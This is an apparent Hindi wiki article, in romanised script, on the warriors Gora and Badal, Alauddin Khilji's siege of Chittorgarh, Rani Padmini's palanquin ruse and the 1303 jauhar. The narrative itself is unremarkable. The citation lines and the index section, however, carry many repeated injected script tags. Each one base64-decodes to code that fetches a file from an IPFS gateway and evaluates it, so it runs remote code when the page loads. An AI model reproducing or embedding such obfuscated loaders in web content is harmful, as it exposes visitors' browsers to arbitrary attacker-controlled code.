गोरा-बादल

gora aur badal (aangrezi: Gora and Badal) chittau dagadh meva d ke mahan yoddhaoan mean se ek the, jo chittau dagadh meva d ke raval ratan sianh ke bachav ke lie bahaduri se l de the. gora or badal donoan chacha bhatije jalaur ke chauhan vansh se sambandh rakhate the. chhal dvara 1298 mean alauddin khilaji ne chittau dagadh meva d ke shasak raval ratan sianh ko kaidi bana diya tha. phirauti mean khilaji ne, chittau dagadh meva d ke raval ratan sianh ki patni rani padmini ki maang ki thi. yah sab hone ke bad rani padmini ne ek yuddh parishad ayojit ki jisamean raval ratan sianh ko bachane ki yojana banaee gayi. raval ratan sianh ko bachane ka jimma gora aur badal ko diya gaya. gora aur usake bhatije badal ko alauddin khilaji ke pas doot bana kar bheja gaya or sandesh pahuanchaya gaya ki rani padmini ko khilaji ko sauanp diya jayega agar khilaji apani senayean chittau dagadh meva d se hata de, par ek shart yah hai ki jab rani padmini ko khilaji ko sauanpa jayega tab rani padmini ki dasiyaan aur sevak 50 palakiyoan mean sath hogian. jab rani padmini ko khilaji ko sauanpa ja raha tha to pratyek palaki mean ek rajapoot yoddha ko bithaya gaya. jab rani padmini ki palaki jisamean gora khud bhi baitha tha, jab ratn sianh ke teant ke pas pahuanchi to gora ne ratan sianh ke teant mean jakar ratn sianh ko gho de par baithane ko kaha ki ap kile (chittau dagadh) mean vapas chale jao. usake bad gora ne sabhi rajapoot yoddhaoan ko unaki palaki se bahar ane ko kaha ki muslim sainikoan par hamala karo. gora khilaji ke tamboo tak pahuancha aur sultan ko marane hi vala tha par sultan apani patni ke pichhe chhip gaya. gora ek rajapoot tha aur rajapoot masoom mahilaoan ko nahian marate, isalie gora ne us mahila par hath nahian uthaya aur sultan ke sainikoan se yuddh karate hue gora aur badal viragati ko prapt hue. chittau dagadh kile mean rani padmini ke mahal ke dakshin mean do guanbad ke akar gharoan ka nirman kiya gaya hai jinhean gora badal ke mahal ke nam se jana jata hai.^[1]

gora-badal aur padmini

raval samarasianh ke bad unaka putr ratnasianh chitau d ki rajagaddi par baitha. ratnasianh ki rani padmini apoorv sundar thi. usaki sundarata ki khyati door door tak phaili thi. usaki sundarata ke bare mean sunakar dilli ka tatkalin badashah alauddin khilaji padmini ko pane ke lie lalayit ho utha aur usane rani ko pane hetu chitau d durg par ek vishal sena ke sath chadhaee kar di. usane chitau d ke kile ko kee mahinoan ghere rakha par chitau d ki raksharth tainat rajapoot sainikoan ke adamy sahas v virata ke chalate kee mahinoan ki ghera bandi v yuddh ke bavajood vah chitau d ke kile mean ghus nahian paya. tab usane kootaniti se kam lene ki yojana banaee aur apane doot ko chitau d ratnasianh ke pas bhej sandesh bheja ki "ham to apase mitrata karana chahate hai rani ki sundarata ke bare bahut suna hai isalie hamean to sirph ek bar rani ka muanh dikha dijiye ham ghera uthakar dilli laut jayeange. sandesh sunakar ratnasianh agababoola ho uthe par rani padmini ne is avasar par dooradarshita ka parichay dete hue apane pati ratnasianh ko samajhaya ki "mere karan vyarth hi chitau d ke sainikoan ka rakt bahana buddhimani nahian hai." rani ko apani nahian poore meva d ki chianta thi vah nahian chahati thi ki usake chalate poora meva d rajy tabah ho jaye aur praja ko bhari duahkh uthana p de kyoanki meva d ki sena alauddin ki vishal sena ke age bahut chhoti thi. isalie usane bich ka rasta nikalate hue kaha ki alauddin chahe to rani ka mukh aeene mean dekh sakata hai. alauddin bhi samajh raha tha ki rajapoot viroan ko harana bahut kathin kam hai aur bina jit ke ghera uthane se usake sainiko ka manobal toot sakata hai sath hi usaki badanami bhi hogi isalie usane yah prastav svikar kar liya.

chitau d ke kile mean alauddin ka svagat ratnasianh ne atithi ki tarah kiya. rani padmini ka mahal sarovar ke bichoan bich tha isalie divar par ek b da aeena lagaya gaya. rani ko aeene ke samane bithaya gaya. aeene se khi daki ke jariye rani ke mukh ki parachhaee sarovar ke pani mean saf p dati thi. vahian se alauddin ko rani ka mukharaviand dikhaya gaya. sarovar ke pani mean rani ke mukh ki parachhaee mean usaka saundary dekhakar alauddin chakit rah gaya aur usane man hi man rani ko pane ke lie kutil chal chalane ki soch li. jab ratnasianh alauddin ko vapas jane ke lie kile ke dvar tak chho dane aye to alauddin ne apane sainikoan ko sanket kar ratnasianh ko dhokhe se giraphtar kar liya.

ratnasianh ko kaid karane ke bad alauddin ne prastav rakha ki rani ko use sauanpane ke bad hi vah ratnasianh ko kaid mukt karega. rani ne bhi kootaniti ka jabab kootaniti se dene ka nishchay kiya aur usane alauddin ko sandesh bheja ki- "maian meva d ki maharani apani sat sau dasiyoan ke sath apake sammukh upasthit hone se poorv apane pati ke darshan karana chahooangi. yadi apako meri yah shart svikar hai to mujhe soochit kare. rani ka aisa sandesh pakar kamuk alauddin ke khushi ka thikana n raha, aur us adabhut sundar rani ko pane ke lie betab usane turant rani ki shart svikar kar sandesh bhijava diya.

udhar rani ne apane kaka gora v bhaee badal ke sath rananiti taiyar kar sat sau doliyaan taiyar karavaee aur in doliyoan mean hathiyar band rajapoot vir sainik bitha die. doliyoan ko uthane ke lie bhi kaharoan ke sthan par chhaante hue vir sainiko ko kaharoan ke vesh mean lagaya gaya. is tarah poori taiyari kar rani alauddin ke shivir mean apane pati ko chhu dane hetu chali. usaki doli ke sath gora v badal jaise yuddh kala mean nipun vir chal rahe the. alauddin v usake sainik rani ke kaphile ko door se dekh rahe the. sari palakiyaan alauddin ke shivir ke pas akar rukian aur uname se rajapoot vir apani talavare sahit nikalakar yavan sena par achanak toot p de is tarah achanak hamale se alauddin ki sena hakki bakki rah gayi aur gora badal ne tatparata se ratnasianh ko alauddin ki kaid se mukt kar sakushal chitau d ke durg mean pahuancha diya. is har se alauddin bahut lajjit hua aur usane ab chitau d vijay karane ke lie than li. akhir usake chh:mah se jyada chale ghere v yuddh ke karan kile mean khady samagri abhav ho gaya tab rajapoot sainikoan ne kesariya bana pahan kar jauhar aur saka karane ka nishchay kiya. jauhar ke lie gomukh ke uttar vale maidan mean ek vishal chita ka nirman kiya gaya. rani padmini ke netritv mean 16,000 rajapoot ramaniyoan ne gomukh mean snan kar apane sambandhiyoan ko antim pranam kar jauhar chita mean pravesh kiya. tho di hi der mean devadurlabh sauandary agni ki lapatoan mean svaha hokar kirti kuandan ban gaya. jauhar ki jvala ki lapatoan ko dekhakar alauddin khilaji bhi hataprabh ho gaya. maharana ratan sianh ke netritv mean kesariya bana dharan kar 30,000 rajapoot sainik kile ke dvar khol bhookhe sianhoan ki bhaanti khilaji ki sena par toot p de. bhayankar yuddh hua gora aur usake bhatije badal ne adbhut parakram dikhaya. badal ki ayu us vakt sirf barah varsh ki hi thi usaki virata ka ek gitakar ne is tarah varnan kiya.

badal barah baras ro, l diyoan lakhaan sath.
sari duniya pekhiyo, vo khaanda vai hath..

is prakar chhah mah aur sat din ke khooni sangharsh ke bad 18 aprail 1303 ko vijay ke bad asim utsukata ke sath khilaji ne chittau d durg mean pravesh kiya lekin use ek bhi puroosh, stri ya balak jivit nahian mila jo yah bata sake ki akhir vijay kisaki huee aur usaki adhinata svikar kar sake. usake svagat ke lie bachi to sirf jauhar ki prajvalit jvala aur kshat-vikshat lashe aur un par mandarate giddh aur kauve. ratnasianh yuddh ke maidan mean viragati ko prapt hue aur rani padmini rajapoot nariyoan ki kul parampara maryada aur apane kul gaurav ki raksharth jauhar ki jvalaoan mean jalakar svaha ho gayi jisaki kirti gatha aj bhi amar hai aur sadiyoan tak ane vali pidhi ko gauravapoorn atm balidan ki prerana pradan karati rahegi.^[2]

panne ki pragati avastha

adhar

prarambhik

madhyamik

poornata

shodh

tika tippani aur sandarbh

↑ Gora-Badal Chittorgarh History (hiandi) amar rajapootana. abhigaman tithi: 2 navanbar, 2017.<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
↑ vir gora aur badal (hiandi) shabd d aaut in. abhigaman tithi: 3 disanbar, 2017.<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

bahari k diyaan

sanbandhit lekh

varnamala kramanusar lekh khoj

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<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> n <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> t <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> th <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> d 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<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> b <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> bh <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> m <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> y 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<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> sh <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> s <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> h <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> ksh <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> tr <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> jn <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> rri <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> rri <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> aau <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> shr <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>aah

[1] Gora-Badal Chittorgarh History (hiandi) amar rajapootana. abhigaman tithi: 2 navanbar, 2017.<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

[2] vir gora aur badal (hiandi) shabd d aaut in. abhigaman tithi: 3 disanbar, 2017.<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

[1]

[2]